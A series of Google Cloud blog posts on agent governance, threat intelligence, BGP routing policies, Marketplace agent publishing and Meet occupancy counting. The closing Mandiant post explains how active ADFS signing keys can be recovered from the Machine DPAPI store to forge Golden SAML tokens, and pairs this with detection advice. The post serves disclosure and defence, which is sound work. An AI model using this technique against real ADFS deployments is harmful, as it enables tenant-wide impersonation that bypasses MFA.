Guardrails turn an unpredictable LLM into a safe enterprise system by allowing the agent to have the flexibility to make autonomous decisions, while keeping it incapable of violating core safety rules. Because these boundaries are implemented as deterministic constraints outside of the agent’s reasoning, they cannot be bypassed.

Complementing this safety layer, structured workflows drive even greater predictability by breaking complex tasks into deterministic, step-by-step pipelines that use code-level routing, conditional logic, and state management to guide the agent through repeatable paths.

Example: Build a multi-agent orchestration pattern with Guardrails agent. See also ADK Workflows

#12 How do we trust the result?
Trust is earned through evidence gathered from rigorous testing and ongoing evaluations across the agent’s entire lifecycle. It’s not an automatic given, but rather a result of your method.

At scale, evaluation is automated using a mix of metrics, human-in-the-loop oversight, and LLM-as-a-judge patterns. By using a more capable model or a specialized self-evaluation agent to audit the primary agent’s output before it reaches the end-user, you can systematically catch inaccuracies and protect the user experience.

Example: Build a multi-agent orchestration pattern with LLM-as-a Judge and Self Evaluation agent built in

#13 How do I control costs that are going overboard?
High-performance reasoning is powerful, but it isn’t cheap. To optimize your spend, try using a tiered approach: employ fast, lightweight models (like Gemini Flash) for high-speed, low-complexity tasks, leverage open source models (like Gemma), and reserve your largest, most expensive reasoning models for final decision-making.

For high-volume production, switch to Provisioned Throughput (PT). Think of it like booking dedicated capacity for your steady, predictable everyday traffic, while unexpected spikes safely overflow into standard pay-as-you-go billing.

You can further protect your budget by trimming context windows with precision RAG, utilizing context caching, setting hard stops on agent iterations, and transitioning predictable parts of the agent workflow into deterministic code where feasible.

Example: Build with cost control in mind and KPIs that matter

The govern phase — security and oversight

#14 How do I align an agent’s data access to match that of its human user?
Aligning an agent’s data access starts with establishing a secure agent identity, which supports three models: operating directly under a user's identity, using the agent's own independent identity, or acting via delegated authority.

For many employee-facing workflows, leveraging delegated authority is the most secure approach. The agent automatically inherits and respects the existing permissions of the employee interacting with it. This guarantees that the agent cannot access data it isn't explicitly authorized to see, eliminating the need to rebuild complex permission structures from scratch while maintaining a clean audit trail.

Example: Build with Agent Identity

#15 How do I manage shadow AI and agent sprawl?
Unmonitored agents create severe data fragmentation and compliance risks. To prevent sprawl, you can use a central agent registry — a single, discoverable directory that automatically inventories every active agent, its business owner, its target dataset, and its permitted tools. Moving away from manual tracking spreadsheets gives your teams visibility into internal AI projects, ensuring that redundant agents are consolidated and orphaned endpoints are safely decommissioned.

Example: Build with Agent Registry

#16 How do I define how users, agents, data, and tools are allowed to interact?
Scaling enterprise automation safely requires a dual-layered policy architecture. First, apply IAM policies to set clear boundaries so agents only access authorized tools and specific data buckets. Second, implement semantic policies that analyze the natural language intent of a user prompt in real time, validating that the agent's planned response aligns with core business rules and compliance mandates before execution.

Example: Build with Policies

#17 How do I enforce those policies and gain visibility into agent activity?
Policies are meaningless without runtime enforcement and a clear audit trail. To achieve this, you need to route all agent traffic through an agent gateway — the network entry and exit point for all agentic interactions. This gateway should automatically intercept calls between users, agents, and tools to instantly block policy violations, sanitize content, and prevent prompt injections. For total visibility, this gateway must generate network-layer telemetry for every single interaction, feeding real-time behavioral metrics and execution traces directly into your observability dashboards.

Example: Build with Agent Gateway

#18 How do I protect prompts and responses against data leakage, prompt injections, and offensive content?
When integrated with Agent Platform, Model Armor intercepts prompts before they reach Gemini models, and intercepts responses before your application receives them.

Based on your configuration, Agent Platform calls the Model Armor service, which inspects or blocks traffic that violates your defined policies — enforcing security measures like prompt injection and jailbreak detection, responsible AI filters, and sensitive data protection. You can configure this integration either by using floor settings for project-level protection or by using templates for per-request protection.

Example: Build with Model Armor

#19 How do I know if something has gone wrong with one of my agents?
To protect your systems, you need to look for behavioral anomalies by auditing your agent's decision-making loop in real time. Running this continuous behavioral audit alongside threat detection ensures you instantly catch whenever a compromised agent attempts a high-risk, uncharacteristic action.

This is where Agent Platform Threat Detection (part of Security Command Center) comes in. If an agent attempts unauthorized database commands or connects to unverified external network addresses, the system flags the event in near-real time for rapid isolation — keeping your automated workforce safely under control.

Example: Build with Threat Detection and Agent Anomaly Detection

#20 How can I manage the complete agent lifecycle in one place?
Nobody wants to click through five different cloud consoles just to push an update or run a test. With Agent Platform, you can simply give your coding agents the specific skills and commands needed to build, scale, govern, and optimize production-ready agents.

We recommend using the Agents CLI in Agent Platform as the central command tool for your development teams. It acts as a direct bridge between local terminal work and live production management, making it much easier for developers to transition from testing to a live launch.

It also allows your teams to version-control agent configurations, run automated evaluations, and seamlessly push updates through your existing CI/CD pipelines. Because the underlying tools and skills are built and rigorously tested by Google's experts, your team can deploy with confidence without having to reinvent the wheel or break their day-to-day coding workflows.

Example: Build with Agents CLI here

Get started today

By tackling these 20 questions early, you can build agents that actually do real work for your business — without keeping your security and operations teams up at night.

Get started with Gemini Enterprise Agent Platform here.

Drive proactive security, prioritize risks with Google Threat Intelligence and Wiz ASM

2026-07-07T16:00:00+00:00

Being more proactive continues to be a leading goal for security organizations. As AI accelerates the pace of vulnerability discovery and exploitation, organizations will rely on the personalization of their security investments to help prioritize their defenses.

To help you be more proactive by matching your real-world exposures with real-time adversary activity, we’ve begun integration efforts between Google Threat Intelligence and Wiz Attack Surface Management (ASM).

By connecting exposure and validated exploitable risks directly to real-time threat intelligence, we can help you detect and prioritize external-facing exploitable issues and uncover logic-driven vulnerabilities with AI scanning at the speed needed for today’s defenses. This allows you to shift to a strategy that prioritizes actions based on the real-world threats that pose the greatest risks to your organization.

Combining these two perspectives on threats can help you move from reactive maintenance to a proactive security strategy. In addition to detecting your exploitable exposures, you gain insight into which of those exposures are being actively targeted by adversaries.

We will continue to build towards native integration that will feed exposure data directly into the Google Threat Intelligence correlation engine. This automated connection will help you focus on the exposures adversaries are targeting in the wild, and use our real-time threat intelligence to prioritize remediation efforts and threat hunting activities.

Building a proactive security strategy

Google Threat Intelligence provides global visibility into how adversaries operate, tracking their infrastructure and campaign activity in real time.

Wiz ASM maps your external attack surface across cloud, AI, software-as-a-service (SaaS), and on-premises environments to reveal exposed assets like domains, IPs, and APIs. It scans for exploitable vulnerabilities, misconfigurations, and default credentials to validate exploitability. It also scans for and validates exposed secrets and sensitive data.

At the same time, the Wiz Red Agent scans exposures with AI to uncover complex, logic-driven vulnerabilities by reasoning about applications behavior.

The power of this combination lies in the ability to prioritize and hunt with confidence:

Prioritize based on real-world activity: With the incoming integration, exposure data feeds into the Google Threat Intelligence engine. This helps you spot the exposures that adversaries are currently exploiting, allowing your team to focus remediation efforts where they are needed most.
Understand attacker behavior: When a critical risk is flagged, we plan to provide behavior-based guidance alongside the alert. This details how an attacker typically acts after exploiting a vulnerability, using specific host commands or malware, giving your defenders the context they need to hunt for active footprints inside your network.
Discover complex vulnerabilities: The Wiz Red Agent uses AI to scan for logic-driven vulnerabilities, such as authentication bypasses, business logic flaws, and multi-step attack chains, helping you uncover risks that traditional scanners often miss.

Get started with proactive defense

This combined approach is designed to help you streamline your security posture by reducing the noise and focusing on the signals that represent real danger to your organization. To get started with Google Threat Intelligence and Wiz ASM today, contact your Google sales representative.

BGP route policies: Top 3 use cases by customer demand

2026-07-07T16:00:00+00:00

When we first made BGP route policies for Cloud Router generally available over a year ago, our goal was to give network administrators deep, programmable control over how network paths are evaluated and propagated. Since then, we’ve been watching closely how our customers have adopted this feature. We've seen network engineering teams build incredibly sophisticated, resilient routing architectures that were previously difficult to achieve without third-party virtual appliances.

This year, we launched policy named sets for Cloud Router. As routing environments grow more complex, managing individual prefixes or communities within these policies can become cumbersome.

Policy named sets solve this by allowing you to group lists of IPv4/IPv6 prefixes or BGP communities into a single, reusable entity. This significantly simplifies your configurations, making it easier to scale, manage, and update your routing rules across multiple Cloud Routers.

Powered by the Common Expression Language (CEL), BGP route policies allow you to define fine-grained, ordered rules to filter BGP routes and modify route attributes directly within Cloud Router.

To celebrate the launch of policy named sets, we want to highlight three of the most impactful ways we've seen customers use BGP route policies over the past year, along with resources on how you can build them yourself.

1. The foundation: Route filtering and network protection

Before manipulating traffic paths, network stability requires strict control over which routes are allowed into and out of your network. We've seen customers extensively use BGP route policies to filter out unwanted learned routes from peers or prevent specific subnet prefixes from being advertised out of their Virtual Private Cloud (VPC).

Operating on a "fail open" model by default, many security-conscious organizations have adapted BGP route policies to create a "fail closed" environment — appending a "drop all" policy as the final term in their evaluation list. This helps enable absolute certainty over accepted network routes, preventing routing loops and ensuring traffic isn't BGP hijacked or inadvertently blackholed.

Dive deeper: For a foundational look at how to set up CEL expressions for route filtering, check out our deep-dive guide: Introduction to BGP policies.

2. Influencing traffic paths for active/standby architectures

Achieving optimal traffic distribution often requires forcing traffic down a specific path, whether for cost optimization or managing active/standby interconnects. Customers have used BGP route policies to influence the preferred BGP route without touching their on-premises hardware.

By dynamically modifying the BGP multi-exit discriminator (MED) attribute, network teams can make a specific peer preferred for incoming traffic. Conversely, if they want to steer traffic away from a congested or backup link, they are using AS-PATH prepending — adding one or more values to the route's AS-PATH to deprioritize it across the broader network.

Dive deeper: To see the configuration steps for managing MED and AS-Path prepending, read: Using BGP policies to influence traffic paths.

3. Solving asymmetric routing with BGP communities

One of the most advanced and highly requested use cases we’ve seen over the last year is achieving traffic symmetry. When enterprises use stateful firewalls or specific network appliances on-premises, return traffic must flow back through the exact same appliance it originated from. If it doesn't, the traffic is dropped.

Customers are successfully solving this by using BGP route policies to match against specific standard BGP communities. By tagging routes with specific communities on-premises, Cloud Router can read those tags via inbound policies and adjust the route preference by manipulating the MED accordingly. This helps ensure that Google Cloud inherently understands the stateful topology of the on-premises network and routes the return traffic symmetrically.

Dive deeper: To learn how to architect stateful traffic symmetry using BGP community tags, explore: Using BGP communities to create traffic symmetry.

Get started today

Taking control of your dynamic routing is now easier and more robust than ever. Using BGP route policies, it's a great time to optimize and secure your hybrid cloud connectivity.

We recommend testing your BGP route policies in a staging environment to verify your CEL expressions and routing logic before rolling them out to production. To explore the technical documentation, check out the BGP route policies overview.

A developer's guide to publishing agents in Gemini Enterprise and Google Cloud Marketplace

2026-07-07T16:00:00+00:00

Software-as-a-service (SaaS) is evolving into Agents-as-a-service (AaaS).

Instead of isolated applications, developers are creating AI agents that interoperate using standardized open protocols such as the Agent2Agent (A2A) protocol and can be orchestrated through centralized agent platforms like Gemini Enterprise Agent Platform.

When building for your specific use case, we believe the goal should always be to engineer high-quality agents that combine autonomy with the ability to reliably execute complex, multi-step workflows that deliver clear business value. For agent builders and developers looking to publish and commercialize these high-impact, third-party agents through Google Cloud Marketplace and to deploy them to the Gemini Enterprise app, this guide provides a step-by-step path to a fully integrated, marketplace-ready solution.

Step 1: Design your agent architecture for integration with Marketplace

The end-state architecture bridges Google Cloud Marketplace billing, identity provider (IdP) security, and Gemini Enterprise Agent Platform.

Here’s an overview of these architectural elements:

Customer project: Where users discover agents via the dedicated Agent Marketplace category within Google Cloud Marketplace and interact with these agents through the Gemini Enterprise app.
Partner project: Hosts your agent as well as the marketplace handler, which handles the logic for procurement, and Dynamic Client Registration (DCR) for authorization.
Partner Marketplace project: Manages the Partner Procurement API and Pub/Sub topics for Marketplace events like account creation or entitlement approvals.

Step 2: Review the organizational requirements to sell on Marketplace

Join the Google Cloud Partner Network: If you're new to offering your solutions on Marketplace, join the Google Cloud Partner Network.
Review Agent-as-a-Service listing requirements. Verify that your organization meets the requirements to list your solutions on Marketplace.
Marketplace Vendor Agreement: Review and accept the Marketplace Vendor Agreement (MVA).
Nominate your agent for Google Cloud Marketplace by contacting your Google Cloud representative.

All agents listed on Marketplace must comply with the above standard requirements plus several agent-specific mandates:

Define your agent use case: We recommend defining specific, agentic use cases targeting high-value enterprise functions designed to solve tangible pain points and scale across multiple enterprise customers.
A2A protocol adherence: Agents must comply with the A2A protocol specifications for interoperability. This can include the A2UI protocol which enables your agents to generate rich, interactive user interfaces.
A2A Agent Card: Create an Agent Card, a JSON file declaring capabilities (skills), authentication methods, and service endpoints.
Authentication: Agents must support public access or OAuth 2.0 Authorization Code Grant Flow.
Marketplace integration: Mandatory integration with Procurement APIs and Pub/Sub for entitlement lifecycle management.

Step 3: Review the technical requirements for your agent to be compatible with Marketplace and the Gemini Enterprise app

A2A protocol

When designing and implementing your agent, ensure you follow the A2A protocol documentation. This will guide you on choices for interaction patterns (e.g., streaming or asynchronous tasks) that your agent can provide and can include incorporating an interactive UI experience using the A2UI protocol. Using A2UI allows you to leverage the latest and greatest UX controls available—such as advanced, dynamic charts and modern interaction models. By utilizing these native user controls, you ensure your agent doesn't just function reliably, but looks, feels, and operates with a premium sense of "pride in craft" inside the Gemini Enterprise app.

A2A agent card

To list your Agent-as-a-Service product on the Marketplace, you must provide an A2A Agent Card for your agent. The Agent Card is a JSON file declaring the agent's capabilities (skills), supported authentication & authorization methods, and service endpoints.

The Gemini Enterprise app relies on your Agent Card to:

Display your agent name, description, and other necessary metadata.
Locate endpoints for Dynamic Client Registration (if supported).
Discover agent entry points for sending messages or getting task execution status updates.
Determine the required authentication/authorization methods.

Here is an example Agent Card with definition below.

code_block: <ListValue: [StructValue([('code', '{\r\n "name": "AI Agent Example",\r\n "protocolVersion": "1.0",\r\n "description": "Marketplace agent example.",\r\n "url": $AGENT_APP_URL,\r\n "preferredTransport": "JSONRPC",\r\n "provider": {\r\n "organization": $AGENT_PROVIDER_ORGANIZATION,\r\n "url": $AGENT_PROVIDER_URL\r\n },\r\n "version": "1.0.0",\r\n "capabilities": {\r\n "streaming": false,\r\n "pushNotifications": false,\r\n "extensions": [\r\n {\r\n "uri": "https://cloud.google.com/marketplace/docs/partners/ai-agents/setup-dcr",\r\n "params": {\r\n "target_url": $AGENT_DCR_URL\r\n }\r\n }\r\n ]\r\n },\r\n "defaultInputModes": [\r\n "application/json"\r\n ],\r\n "defaultOutputModes": [\r\n "application/json"\r\n ],\r\n "skills": [\r\n {\r\n "id": "current_time_generation",\r\n "name": "Current time generation",\r\n "description": "Generates a current time.",\r\n "tags": [\r\n "time"\r\n ],\r\n "examples": [\r\n "What time is it?"\r\n ]\r\n }\r\n ],\r\n "supportsAuthenticatedExtendedCard": false,\r\n "iconUrl": $AGENT_ICON_URL,\r\n "security": [\r\n {\r\n "oauth2": [\r\n $AUTH_SCOPE\r\n ]\r\n }\r\n ],\r\n "securitySchemes": {\r\n "oauth2": {\r\n "type": "oauth2",\r\n "flows": {\r\n "authorizationCode": {\r\n "authorizationUrl": $AUTHZ_URL,\r\n "tokenUrl": $TOKEN_URL,\r\n "refreshUrl": $REFRESH_URL,\r\n "scopes": {\r\n $AUTH_SCOPE: $AUTH_SCOPE_DESCRIPTION \r\n }\r\n }\r\n }\r\n }\r\n }\r\n}'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fa08d21ce20>)])]>

$AGENT_APP_URL - A required field representing the base URL endpoint where the A2A agent can be reached. All API calls to the agent will use this as the base path.
$AGENT_PROVIDER_ORGANIZATION - A required field representing the agent provider's organization.
$AGENT_PROVIDER_URL - A required field representing the agent provider's website or relevant documentation.
$AGENT_DCR_URL - A required field if the agent implements Dynamic Client Registration (DCR).
$AGENT_ICON_URL - An optional field providing a URL to an image file to be used as an icon for the agent. If provided, it will be displayed in the Gemini Enterprise app.
$AUTH_SCOPE - An array of strings listing the scope names required for the client to access the agent's operations.
$AUTH_SCOPE_DESCRIPTION - Scope description. Example: "Permission to retrieve email address of the user.”
$AUTHZ_URL - A required part of the OAuth2 security scheme definition for the Authorization Code flow. It specifies the URL of the authorization server's endpoint used to obtain an authorization code from the resource owner. This follows the OpenAPI Specification.
$TOKEN_URL, $REFRESH_URL - URLs for the client to exchange the authorization code for an access token and a refresh token (can be the same).

Authentication and authorization

Implement authentication and authorization for your agent according to the A2A protocol. To allow the Gemini Enterprise app to call your agent, you must establish one of these two methods for your agents:

Public Access: No authentication required. Suitable only for agents that do not access any user data or sensitive resources.
OAuth 2.0 Authorization Code Grant Flow: This is the standard flow for delegated user authorization. Users will be prompted to authorize your agent to access their data or act on their behalf.

Dynamic Client Registration (DCR)

Traditionally, connecting a third-party app to an enterprise system required manual copying of Client IDs and secrets. DCR eliminates this by allowing Gemini Enterprise to programmatically register itself as an OAuth client with your agent's authorization server.

How the DCR Flow Works:

Discovery: The Gemini Enterprise app reads your Agent Card to find the DCR endpoint.
Request: Google sends an HTTP POST to your endpoint containing a software_statement which is a cryptographically signed JSON Web Token (JWT).
Validation: Your backend verifies the JWT signature using Google's public keys to ensure the request is authentic.
Provisioning: Upon success, your server creates a new OpenID Connect (OIDC) application in your identity provider (e.g., Okta) and returns the client_id and client_secret to Gemini Enterprise.

code_block: <ListValue: [StructValue([('code', 'DCR Request\r\n{\r\n "software_statement": "eyJhbGciOiJSUzI1NiIsImtpZCI6ImY1OTIwZDJmMjIyYjNjMTE3Y2MyZmQzZmQxYWJjNzM..."\r\n}\r\n\r\nJWT Decoded\r\nHere is the decoded value of software_statement parameter:\r\n\r\nHeader:\r\n{\r\n "alg": "RS256",\r\n "kid": "f5920d2f222b3c117cc2fd3fd1abc7367fd00402",\r\n "typ": "JWT"\r\n}\r\nPayload:\r\n{\r\n "aud": "https://your-provider.com",\r\n "auth_app_redirect_uris": [\r\n "https://vertexaisearch.cloud.google.com/oauth-redirect"\r\n ],\r\n "exp": 1766773074,\r\n "google": {\r\n "order": "xxxxxxxx-c3bc3976a8e0"\r\n },\r\n "iat": 1766772774,\r\n "iss": "https://www.googleapis.com/service_accounts/v1/metadata/x509/cloud-agentspace@system.gserviceaccount.com",\r\n "sub": "xxxxxxxx-xxxx-xxxx-xxxx-4656e5b81fe8"\r\n}\r\nDCR Response\r\n{\r\n "client_id": $CLIENT_ID,\r\n "client_secret": $CLIENT_SECRET,\r\n "client_secret_expires_at": 0\r\n}'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fa08ec7a340>)])]>

Note: Validating the JWT ensures the request is from Google, but you must cross-reference the google.order ID against your database to ensure the user has actually paid.

Step 4: Publish your agent listing on Marketplace

Once you’ve built your agents, you will need to publish and offer them on Google Cloud Marketplace. This is where you describe your agent and define availability and pricing models. The seller journey begins in the Producer Portal accessible through Google Cloud Console:

Select Solution Type: Choose "AI Agent as a Service" as the product type in the Producer portal.
Upload Agent Card: Provide the Agent Card JSON file via a Google Cloud Storage (GCS) bucket.
Availability: Decide whether the AI agent listing can be purchased through publicly available pricing (self-service) or available via private offer only.
Pricing: Create your pricing plan and choose the pricing model you want to use to monetize the agent through Marketplace.
Technical Integration: Configure the backend procurement. No frontend integration is required for this solution type.
Validation and End-to-End testing: Google Cloud reviews the agent's functionality, security, and pricing model before it is published to the catalog.
Publish: Agent is now successfully published and available in Google Cloud Marketplace.

Step 5: Managing transactions and registrations in Marketplace and the Gemini Enterprise App

There are distinct phases to the procurement and registration lifecycle of agents on Google Cloud Marketplace and the Gemini Enterprise app, which is critical for establishing strict enterprise governance, preventing shadow IT, and ensuring seamless compliance across the organization. A secured chain of custody is managed across three key personas: the Billing Administrator, who maintains financial oversight by controlling procurement and spending on Google Cloud Marketplace; the Discovery Engine Administrator, who acts as the technical gatekeeper by securely registering verified agents and determining organizational access in Gemini Enterprise; and the Discovery Engine User, who can safely leverage the agent's full capabilities within their Gemini Enterprise app only after completing proper identity authorization.

1. Procurement Flow - Async (Google Cloud Marketplace)

Once listed, the backend procurement sequence follows these steps:

Trigger: A customer with Billing Administrator privileges clicks "Subscribe" (for self-serve listings) or accepts a "Private Offer" (for tailored private offer only listings).
Notification: Google sends a Pub/Sub notification to your environment.
Approval and storage: Your integrated marketplace handler approves the account and the entitlement via the Partner Procurement API.
Activation: The handler records the transaction by storing the unique Order ID in a database like Firestore, instantly activating the subscription or offer for the customer.

As shown above, the Billing Administrator executes a one-click subscription to activate the Lovable Agent free plan alongside their already active SaaS subscription procured through Cloud Marketplace.

2. Registration flow - sync (Gemini Enterprise)

After successful procurement, the customer's administrator links the purchase to their actual Gemini Enterprise app environment:

Redirect to Gemini Enterprise: The Discovery Engine Administrator will see a "Go to Gemini Enterprise" option directly on the procured Marketplace listing.
Project Verification: Clicking this prompts the administrator to log into the Google Cloud project where their Gemini Enterprise licenses are allocated. Note that the customer must ensure this destination Google Cloud project is actively linked to the specific billing account used during procurement.
DCR Handshake: The Discovery Engine Administrator configures the agent within the Gemini Enterprise app. At this point, your Dynamic Client Registration (DCR) logic validates the incoming JWT's Order ID against your Firestore records. If the IDs match, the secure registration completes successfully.
Agent successfully Registered: Agent is now successfully registered in Gemini Enterprise. Discovery Engine Administrator can now decide whom to give access to the agent.

Following procurement, the Discovery Engine Administrator registers the Lovable Agent into the Gemini Enterprise app to make it available to authorized users across an organization.

3. End-User Activation Flow (Gemini Enterprise)

Once the agent is securely registered, it becomes discoverable to your target enterprise users:

Gemini Enterprise in-app agent discovery and requests: End users have the ability to browse and directly request access to any available partner-built agent from Cloud Marketplace within the Agent Gallery in the Gemini Enterprise app. When a request is submitted, the Discovery Engine Administrator can review the request and coordinate directly with the organization’s Billing Administrator to procure the agent through Google Cloud Marketplace, and, if already procured and registered, can give access to the end user.
Access: Once access is given to the agent, any end user with an active Gemini Enterprise app account and Discovery Engine User role and license will be able to invoke the agent within their Gemini Enterprise app.
Authorization: Upon the first interaction, the user will be prompted to complete an OAuth authorization by inputting their partner-system username and password. Once authenticated, they can seamlessly leverage the agent's full capabilities from the Gemini Enterprise app chat interface.

An end user seamlessly invokes the Lovable Agent inside the Gemini Enterprise app, completes the one-time partner authorization prompt, and initiates a live conversational task workflow.

An end user requests access to Atlassian Rovo, another agent available from Marketplace, directly from the Agent Gallery in the Gemini Enterprise app. In this demo scenario, the agent has already been procured from Marketplace, allowing the Discovery Engine Administrator to verify, integrate, and instantly grant access.

Get started

Building agents for Gemini Enterprise and Google Cloud Marketplace as an AI Agent-as-a-Service solution provides a path to extend your reach and to get your agent into the daily workflow of millions of enterprise users.

We encourage you to start building today using tools like the Agent Development Kit (ADK) and to learn more about how you can accelerate your growth in the era of the agentic enterprise with Google Cloud Marketplace.

For any assistance, you can contact Google Cloud Marketplace support team.

Occupancy counting now available for Google Meet on Neat room hardware

2026-07-07T14:39:10+00:00

Understanding room occupancy helps organizations optimize real estate and room design based on user needs. For instance, organizations can track if rooms with older video hardware are being avoided in favor of rooms equipped with better tracking cameras and audio bars.

Admins can review occupancy data in the Google Admin console and optionally download it as a spreadsheet. This feature does not collect or store any personally identifiable information (PII). Because occupancy detection processes data locally on the device, the camera LED indicator may remain off during counting depending on the hardware vendor. Refer to vendor documentation for device-specific information.

Review room booking and occupancy in the Admin console

Getting started

Admins: This feature will be off by default and can be enabled at the domain, organizational unit (OU), or group level. Visit the Help Center to learn more about turning on occupancy detection.
End users: There is no end-user setting for this feature.

Rollout pace

Rapid Release and Scheduled Release domains: Extended rollout (potentially longer than 15 days for feature visibility) started on July 6, 2026

Availability

Available to all Google Workspace customers with Google Meet on Neat AOSP hardware devices.

Resources

Google Workspace Admin Help: Turn on occupancy detection
Google Workspace Admin Help: Track room and device usage with Meet hardware

The ‘Ghost’ in the Database: Recovering Active ADFS Signing Keys via Machine DPAPI

2026-07-07T14:00:00+00:00

Written by: Shebin Mathew

Introduction

The "Golden SAML" technique, first described by CyberArk researchers in 2017, and further detailed by Mandiant researchers in 2021, remains one of the most effective methods for threat actors to forge identity assertions in the Microsoft ecosystem. By obtaining the private key of an ADFS token-signing certificate, an attacker can authenticate as any user to any SAML-federated application, bypassing multifactor authentication (MFA), conditional access, and all identity-based controls.

However, during a recent red team engagement, Mandiant discovered that when ADFS certificates are manually rotated, configuration drift can silently leave active signing keys exposed in Machine DPAPI. Specifically, Mandiant discovered that in environments where AutoCertificateRollover is disabled and certificates are manually rotated, the database often becomes a 'ghost'—a record that still exists, still decrypts successfully, but references a certificate no longer used for token signing by the ADFS service. This attack vector warrants attention because the underlying configuration is commonly deployed in enterprise environments. The technique avoids direct interaction with components such as LSASS and the live ADFS service process, which are often subject to enhanced monitoring in enterprise environments, and may therefore result in lower visibility depending on the organization’s telemetry coverage. This post details how adversaries may exploit this TTP to forge high-privilege SAML tokens and provides the blueprint to defend against it.

Technical Insight: Encountering the ‘Ghost Certificate’

Analysts followed the standard DKM extraction path, retrieving the encrypted blob from the WID database and decrypting it using the DKM material stored in Active Directory. The extraction succeeded, but the recovered certificate was no longer valid for token signing, and Entra ID rejected the resulting tokens with AADSTS500172 due to invalid signing material. Although structurally correct, the artifact is not usable for authentication, as the active signing key resides in the system’s machine-scoped cryptographic store, protected by Windows Machine DPAPI and managed through the operating system’s cryptographic subsystem. Successfully obtaining this active key allows an attacker to forge valid SAML assertions for any user, bypassing the need for user credentials and multi-factor authentication, and granting unauthorized access to any SAML-federated application including Microsoft 365 and Entra ID within the organization's environment.

Analysis revealed that AutoCertificateRollover had been disabled and a manual rotation had been performed. Confirmation was obtained directly via Get-AdfsProperties, which returned AutoCertificateRollover: False, indicating that certificate lifecycle management had been delegated to manual administrative processes. While the ADFS service used a new valid key for signing, the WID configuration database was never updated to reflect the new certificate—leaving an expired "ghost" entry as the only record. This drift condition surfaces via Microsoft Event ID 385, which indicates certificate validity warnings in the ADFS service. Notably, this event self-resolves when AutoCertificateRollover is re-enabled and a subsequent certificate rollover is performed; in environments where it is disabled and manual rotation is performed without a corresponding database update, it is the observable symptom of this drift condition.

Figure 1: ADFS certificate enumeration output showing configuration drift between the WID database and the active host certificate

ADFS maintains private keys in two protection contexts. In Location 1 (User DPAPI), encrypted key blobs may exist on disk, but the DPAPI protection is tied to the service account's SID and associated DPAPI masterkey material. In the assessed environment, the domain DPAPI backup key approach successfully decrypted masterkey material for interactive user profiles, but returned no decryptable material associated with the ADFS service account profile. All subsequent offline decryption attempts similarly failed, consistent with the masterkey not being recoverable through the evaluated on-disk recovery approach in this environment—though this observation is bounded to the assessed environment and does not represent a universal architectural property of all ADFS deployments.

Location 2 (Machine RSA) does not rely on a user-specific logon session. Instead, the key material is protected using Machine DPAPI, leveraging the DPAPI_SYSTEM LSA secret together with machine masterkeys available to sufficiently privileged SYSTEM-level contexts.

Why the WID Path Misses This Key

In ADFS environments experiencing configuration drift—commonly arising during manual certificate rotations where AutoCertificateRollover is disabled—the ADFS service host can successfully bind to a newly provisioned signing certificate at the operating-system level, ensuring continued service operation. However, the WID configuration database may not reflect the current signing certificate, resulting in stale certificate metadata.

This divergence between configuration and runtime state is the condition that ADFS Event ID 385 is designed to flag. As a consequence, extraction techniques that rely solely on the WID database and DKM material may return certificates that are no longer used for active signing, leading to rejected assertions in downstream federation scenarios.

Understanding How the Machine DPAPI Store Becomes Populated

Understanding how the Machine DPAPI store becomes populated requires examining how ADFS persists its token-signing key material. During initial deployment, automatic certificate rollover, or manual certificate rotation, ADFS persists its RSA private key material in the machine-scoped CAPI key store at C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\, protected using machine DPAPI context rather than a user-bound DPAPI context. SharpDPAPI /machine enumeration in the assessed environment confirmed that the active machine key material resided under this path, while the CNG Crypto\Keys store was not observed in use in the assessed environment.

The protection chain relies on the DPAPI_SYSTEM LSA secret together with machine masterkeys associated with the S-1-5-18 security context, stored in C:\Windows\System32\Microsoft\Protect\S-1-5-18\ as DPAPI-protected key material—both components ultimately resolvable only within highly privileged SYSTEM-level contexts on the host. The corresponding certificate is enrolled into the LocalMachine\My certificate store, from which ADFS retrieves the associated private key during token-signing operations.

The architectural rationale for machine-scoped key storage is operational resilience. A machine-scoped key remains usable across service account password changes, gMSA rotations, system reboots, and service restarts without requiring key reprovisioning or dependency on a specific interactive logon session. This design ensures that the ADFS service can consistently access the signing key regardless of changes to the underlying service account credentials.

However, this same design choice has important security implications. Because the private key is protected using Machine DPAPI rather than a user-bound DPAPI context, a sufficiently privileged local process capable of accessing the machine key store and associated DPAPI artifacts may be able to recover the key material independently of the original service logon session. As a result, under certain conditions, recovery of the active ADFS token-signing private key may be achievable without direct interaction with LSASS memory or the live ADFS service process itself, potentially reducing visibility to defenses primarily focused on credential dumping or process-memory access behaviors.

KEY DESIGN IMPLICATION

ADFS persists its token-signing private key material in the machine-scoped key store, protected using Machine DPAPI semantics. This is a documented behavior enabling machine-scoped key persistence that survives service account changes, credential rotations, and service restarts.

However, this design introduces an operational security implication that is not commonly emphasized in standard ADFS hardening guidance: private keys stored within the machine key store are protected using this protection model and may be recoverable by a sufficiently privileged SYSTEM-level context through access to the DPAPI_SYSTEM LSA secret and machine masterkeys available locally on the host.

As a result, recovery of the active ADFS token-signing private key may be achievable without direct interaction with LSASS memory or the live ADFS service process itself, potentially reducing visibility to security controls primarily focused on credential dumping or process-memory access behaviors.

Attack Flow: Machine DPAPI Key Recovery to SAML Forgery

Figure 2: Machine DPAPI extraction flow—five-step process from SYSTEM execution to SAML assertion

Figure 3: ‘SharpDPAPI /machine’ output confirming successful recovery of the active ADFS token-signing private key from the machine DPAPI store

The recovered key was used to forge a SAML assertion impersonating a Global Administrator identity, which Entra ID accepted as a valid authentication assertion, resulting in authenticated access at Global Administrator privilege level within the federated Microsoft 365 tenant.

Detection and Hunting

Defenders should prioritize visibility into operating system-level cryptographic operations and identity issuance behavior, rather than relying solely on application-layer configuration stores.

SACL-Based Object Access Monitoring: Configure object access auditing via SACLs on C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\ and C:\Windows\System32\Microsoft\Protect\S-1-5-18\. When configured correctly, this generates Security Event ID 4663 for file access attempts. Coverage depends on SACL configuration and access paths; treat this as supporting evidence in correlation-based detection rather than a stand-alone signal.
ADFS Token Issuance Consistency: Monitor for inconsistencies between primary authentication events and token issuance events in ADFS audit logs. Relevant events include token issuance and claims processing records (Event IDs 299, 1200-series, depending on ADFS version and audit configuration). The objective is to identify token issuance that cannot be clearly correlated to a preceding authentication context. This is most effective when normal authentication patterns per relying party trust are baselined.
